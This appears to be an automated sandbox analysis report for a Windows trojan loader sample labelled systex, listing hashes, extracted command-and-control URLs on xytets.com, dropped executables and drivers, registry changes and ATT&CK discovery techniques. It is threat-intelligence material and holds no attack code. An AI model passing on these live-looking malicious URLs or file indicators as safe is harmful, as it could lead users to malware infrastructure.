systex | 142961e34b140eb58967a358b961acc46737b01681f6717ccac0ccd2fb6e8a93

Analysis

max time kernel
149s
max time network
129s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260604-tepejsaz5n
SHA256 142961e34b140eb58967a358b961acc46737b01681f6717ccac0ccd2fb6e8a93
MD5 ca364eb8cb780083911290b8fdd34d32
SHA1 221ea417a5f74ead524819aa973daa82eeecfe4c
SHA512 35a42665e7a8f7cd73c3bf04c78ce2153b2ffe6085754ef88738f7e29adfab53ded775d7b8df524ec79637ed7644cf7ab5b9f5726884dc70535c95e40dc737e6
SSDEEP 3072:yJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:yghLQ0sQmpcF8BzXfwVfAI
TLSH
T156344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3548	CP.exe
6008	aysqkidavs.exe
5204	CP.exe
6132	CP.exe
4152	i_aysqkidavs.exe
5552	qnifayspnh.sys
5480	CP.exe
3012	ifaxsnkfdx.exe
3584	CP.exe
4704	CP.exe
1900	i_ifaxsnkfdx.exe
5200	usnhfcxupn.sys
4740	CP.exe
2132	kicaupnhfz.exe
5460	CP.exe
5052	CP.exe
3400	i_kicaupnhfz.exe
5224	khcausmkec.sys
5276	CP.exe
992	rpjhbzurmk.exe
344	CP.exe
5916	CP.exe
3764	i_rpjhbzurmk.exe
3600	hbzxrmjebz.sys
5384	CP.exe
4044	xrpjhbzmje.exe
2476	CP.exe
1132	CP.exe
3904	i_xrpjhbzmje.exe
1384	gezwrojhbz.sys
5612	CP.exe
5732	ztrljeywuo.exe
1468	CP.exe
2376	CP.exe
2020	i_ztrljeywuo.exe
1908	toljdbztrl.sys
240	CP.exe
2888	jdbvtolgey.exe
5216	CP.exe
5748	CP.exe
5368	i_jdbvtolgey.exe
3184	oigtqljdbv.sys
2016	CP.exe
3324	sqljdbvtnl.exe
4752	CP.exe
2248	CP.exe
2424	i_sqljdbvtnl.exe
4164	gaysqkidav.sys
2148	CP.exe
1720	vicaysqlic.exe
744	CP.exe
5960	CP.exe
1188	i_vicaysqlic.exe
4708	lfdxvpnifa.sys
5332	CP.exe
3360	avsnlfdxvp.exe
3924	CP.exe
1072	CP.exe
5112	i_avsnlfdxvp.exe
4736	xspkicxupn.sys
4004	CP.exe
1384	nkfcxvpkic.exe
2840	CP.exe
4080	CP.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5308_853376851\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_1357574868\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_200698160\edge_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\sv\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_773452645\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_773452645\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_200698160\product_page.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_1357574868\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_200698160\shopping_fre.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_200698160\edge_checkout_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_200698160\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5308_267604566\dasherSettingSchema.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifaxsnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhbzmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicaupnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqljdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomhezxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljeywuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnlfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkfcxvpkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomhezxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqkidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifaxsnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhbzmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljeywuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnlfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkfcxvpkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvqnigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqljdbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vicaysqlic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqkidavs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vicaysqlic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvqnigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	axsqkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_axsqkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicaupnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrpnhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxrpnhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtolgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1912	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1212	ipconfig.exe
4572	ipconfig.exe
5940	ipconfig.exe
4684	ipconfig.exe
3152	ipconfig.exe
3540	ipconfig.exe
2684	ipconfig.exe
408	ipconfig.exe
3932	ipconfig.exe
3680	ipconfig.exe
788	ipconfig.exe
4764	ipconfig.exe
2424	ipconfig.exe
1556	ipconfig.exe
2304	ipconfig.exe
4764	ipconfig.exe
3088	ipconfig.exe
2520	ipconfig.exe
5972	ipconfig.exe
2364	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 48 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "3026301938"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31257696"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134250623115913680"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-226940941-599731907-2645636698-1000\{A6A42680-3398-4849-8DCB-1698AFE200DE}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
2128	2026-06-04_ca364eb8cb780083911290b8fdd34d32_elex_redline-stealer_rhadamanthys_stop.exe
